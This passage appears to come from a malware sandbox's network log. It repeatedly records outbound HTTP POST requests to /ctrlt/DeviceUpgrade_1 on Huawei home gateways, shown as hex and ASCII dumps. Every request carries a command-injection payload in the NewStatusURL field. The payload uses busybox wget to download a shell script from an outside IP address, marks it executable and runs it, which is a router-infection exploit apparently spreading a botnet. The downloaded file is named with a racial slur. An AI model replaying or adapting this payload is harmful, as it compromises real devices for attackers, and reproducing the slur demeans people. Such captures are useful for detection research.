s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:14.606127977 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:20.749306917 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:32.779577017 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:56.840384960 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	50540	156.254.68.206	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:10.590696096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:14.606133938 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:20.749310017 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:32.779578924 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:56.840401888 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo 